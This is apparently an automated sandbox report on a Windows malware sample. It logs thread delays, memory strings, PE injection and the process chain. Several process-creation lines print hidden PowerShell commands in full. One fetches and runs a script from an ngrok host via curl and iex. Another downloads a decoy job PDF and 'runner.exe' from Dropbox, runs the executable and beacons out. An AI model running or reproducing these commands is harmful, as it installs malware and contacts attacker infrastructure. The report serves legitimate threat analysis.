Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591982
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591859
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591740
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591624
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591514
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591405

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3953	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5884	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 1576
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6676
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3006

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3320	Thread sleep count: 3953 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3976	Thread sleep count: 5884 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5580	Thread sleep time: -17524406870024063s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5704	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7840	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8888	Thread sleep count: 6676 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8964	Thread sleep time: -23058430092136925s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9032	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8892	Thread sleep count: 3006 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8964	Thread sleep time: -592842s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8964	Thread sleep time: -592714s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8964	Thread sleep time: -592596s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8964	Thread sleep time: -592455s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8964	Thread sleep time: -592327s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8964	Thread sleep time: -592205s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8964	Thread sleep time: -592089s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8964	Thread sleep time: -591982s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8964	Thread sleep time: -591859s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8964	Thread sleep time: -591740s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8964	Thread sleep time: -591624s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8964	Thread sleep time: -591514s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8964	Thread sleep time: -591405s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592842
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592714
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592596
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592455
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592327
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592205
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592089
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591982
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591859
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591740
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591624
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591514
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591405

Source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000021.00000000.2930718460.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000000.3105724066.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: ..\hkinternal/collide/mopp/machine/hkMoppUsingFloatAabbVirtualMachine.inl
Source: powershell.exe, 00000004.00000002.2471028707.00000225BDFF8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tEventVmNetworkAdapter',
Source: powershell.exe, 00000004.00000002.2471028707.00000225BDFF8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'Remove-NetEventVmNetworkAdapter',
Source: powershell.exe, 00000004.00000002.2471028707.00000225BDFF8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapterX
Source: powershell.exe, 00000016.00000002.2977652206.0000013665FC1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000021.00000000.2930718460.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000000.3105724066.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: G.\collide\mopp\machine\hkMoppAabbCastVirtualMachine.cpp..\hkinternal/collide/mopp/machine/hkMoppUsingFloatAabbVirtualMachine.inl
Source: powershell.exe, 00000004.00000002.2471028707.00000225BDFF8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapterX
Source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000021.00000000.2930718460.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000000.3105724066.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: +2.\collide\mopp\machine\hkMoppEarlyExitObbVirtualMachine.cpp
Source: powershell.exe, 00000004.00000002.2471028707.00000225BDFF8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: +MSFT_NetEventVmNetworkAdatper.format.ps1xmlX
Source: powershell.exe, 00000004.00000002.2471028707.00000225BDFF8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapterX
Source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000021.00000000.2930718460.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000000.3105724066.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: .\collide\mopp\machine\hkMoppSphereVirtualMachine.cpp
Source: svchost.exe, 0000000B.00000002.3436216547.000001C45EA2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3438473249.000001C464056000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000021.00000000.2930718460.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000000.3105724066.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: .\collide\mopp\machine\hkMoppModifyVirtualMachine.cpp
Source: msedge.exe, 0000000A.00000003.2341756891.0000501C02514000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware20,1(
Source: powershell.exe, 00000004.00000002.2471028707.00000225BDFF8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: #MSFT_NetEventVmNetworkAdatper.cdxmlX
Source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000021.00000000.2930718460.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000000.3105724066.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: .\collide\mopp\machine\hkMoppFindAllVirtualMachine.cpp
Source: powershell.exe, 00000004.00000002.2471028707.00000225BDFF8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'Add-NetEventVmNetworkAdapter',
Source: powershell.exe, 00000016.00000002.2977652206.0000013665FC1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000021.00000000.2930718460.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000000.3105724066.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: .\collide\mopp\machine\hkMoppSphereVirtualMachine.cppUnknown command - This mopp data has been corrupted (check for memory trashing), or an hkMoppBvTreeShape has been pointed at invalid mopp data.
Source: powershell.exe, 00000004.00000002.2528807322.00000225D49A2000.00000004.00000020.00020000.00000000.sdmp, msedge.exe, 0000000A.00000002.2351380802.00000224A3645000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.3103403948.000001367E040000.00000004.00000020.00020000.00000000.sdmp, msedge.exe, 0000001C.00000002.2532730545.0000018974A44000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000021.00000000.2930718460.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000000.3105724066.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: G.\collide\mopp\machine\hkMoppAabbCastVirtualMachine.cpp
Source: powershell.exe, 00000004.00000002.2471028707.00000225BDFF8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'MSFT_NetEventVmNetworkAdatper.cdxml',
Source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000021.00000000.2930718460.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000000.3105724066.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: .\collide\mopp\machine\hkMoppObbVirtualMachine.cpp
Source: powershell.exe, 00000016.00000002.2977652206.0000013665FC1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000021.00000000.2930718460.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000000.3105724066.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: .\collide\mopp\machine\hkMoppObbVirtualMachine.cpp.\collide\mopp\machine\hkMoppLongRayVirtualMachine.cpp
Source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000021.00000000.2930718460.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000000.3105724066.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: .\collide\mopp\machine\hkMoppLongRayVirtualMachine.cpp
Source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000021.00000000.2930718460.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000000.3105724066.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: .\collide\mopp\machine\hkMoppKDopGeometriesVirtualMachine.cpp
Source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000003.3123749543.00000000053E0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: DisableGuestVmNetworkConnectivity
Source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000003.3123749543.00000000053E0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: EnableGuestVmNetworkConnectivity
Source: powershell.exe, 00000004.00000002.2471028707.00000225BDFF8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'Get-NetEventVmNetworkAdapter',
Source: powershell.exe, 00000004.00000002.2471028707.00000225BDFF8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'MSFT_NetEventVmNetworkAdatper.format.ps1xml',
Source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000021.00000000.2930718460.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000000.3105724066.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: +2.\collide\mopp\machine\hkMoppEarlyExitObbVirtualMachine.cpp.\collide\mopp\machine\hkMoppKDopGeometriesVirtualMachine.cpp.\collide\mopp\machine\hkMoppFindAllVirtualMachine.cpp.\collide\mopp\machine\hkMoppModifyVirtualMachine.cpp

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe

Code function: 37_3_02C692CC VirtualAlloc,VirtualAlloc,VirtualProtect,LdrInitializeThunk,VirtualFree,

37_3_02C692CC

Source: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe	Code function: 37_3_02C69277 mov eax, dword ptr fs:[00000030h]		37_3_02C69277
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 38_3_03250283 mov eax, dword ptr fs:[00000030h]		38_3_03250283

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe

Process created: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe "C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe"

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe

Memory written: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe base: 2C30000 value starts with: 4D5A

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe protection: readonly

Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa8357 curl ; sal av4fb5 iEx ; av4fb5(aa8357 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/a53f93d43005d4ee2fadb95063c82fef -UseBasicParsing)	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk https://www.dropbox.com/scl/fi/w47rcqepfnwm2w25ysbw7/Documents-about-company-information-and-job-descriptions-2.pdf?rlkey=yz6h1qih6tkldgdp6erbolsb5&dl=1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\1357945884.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/w47rcqepfnwm2w25ysbw7/Documents-about-company-information-and-job-descriptions-2.pdf?rlkey=yz6h1qih6tkldgdp6erbolsb5&dl=1' -OutFile $RandomPDF; Start-Process -FilePath 'msedge.exe' -ArgumentList '--kiosk', $RandomPDF; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/g33vds4uvy26a8v7ble7g/runner.exe?rlkey=cqe2asmea4sh0uo2xxsstxzdd&dl=1' -OutFile $RandomEXE; Start-Process -FilePath $RandomEXE; if (Test-Path $RandomEXE) { Invoke-WebRequest -Uri 'https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/metadata/a53f93d43005d4ee2fadb95063c82fef'; }"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk C:\Users\user\AppData\Local\Temp\130e969b-e5c7-4340-a2cf-7f225f49c2e1.pdf
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe "C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe"
Source: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe	Process created: C:\Windows\SysWOW64\fontdrvhost.exe "C:\Windows\System32\fontdrvhost.exe"
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Process created: C:\Windows\System32\fontdrvhost.exe "C:\Windows\System32\fontdrvhost.exe"

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -noprofile -command "$randompdf = join-path -path $env:temp -childpath ('{0}.pdf' -f ([guid]::newguid())); $randomexe = join-path -path $env:temp -childpath ('{0}.exe' -f ([guid]::newguid())); invoke-webrequest -uri 'https://www.dropbox.com/scl/fi/w47rcqepfnwm2w25ysbw7/documents-about-company-information-and-job-descriptions-2.pdf?rlkey=yz6h1qih6tkldgdp6erbolsb5&dl=1' -outfile $randompdf; start-process -filepath 'msedge.exe' -argumentlist '--kiosk', $randompdf; invoke-webrequest -uri 'https://www.dropbox.com/scl/fi/g33vds4uvy26a8v7ble7g/runner.exe?rlkey=cqe2asmea4sh0uo2xxsstxzdd&dl=1' -outfile $randomexe; start-process -filepath $randomexe; if (test-path $randomexe) { invoke-webrequest -uri 'https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/metadata/a53f93d43005d4ee2fadb95063c82fef'; }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -noprofile -command "$randompdf = join-path -path $env:temp -childpath ('{0}.pdf' -f ([guid]::newguid())); $randomexe = join-path -path $env:temp -childpath ('{0}.exe' -f ([guid]::newguid())); invoke-webrequest -uri 'https://www.dropbox.com/scl/fi/w47rcqepfnwm2w25ysbw7/documents-about-company-information-and-job-descriptions-2.pdf?rlkey=yz6h1qih6tkldgdp6erbolsb5&dl=1' -outfile $randompdf; start-process -filepath 'msedge.exe' -argumentlist '--kiosk', $randompdf; invoke-webrequest -uri 'https://www.dropbox.com/scl/fi/g33vds4uvy26a8v7ble7g/runner.exe?rlkey=cqe2asmea4sh0uo2xxsstxzdd&dl=1' -outfile $randomexe; start-process -filepath $randomexe; if (test-path $randomexe) { invoke-webrequest -uri 'https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/metadata/a53f93d43005d4ee2fadb95063c82fef'; }"

Source: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe

Code function: 37_3_02C5CDD5 cpuid

37_3_02C5CDD5

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
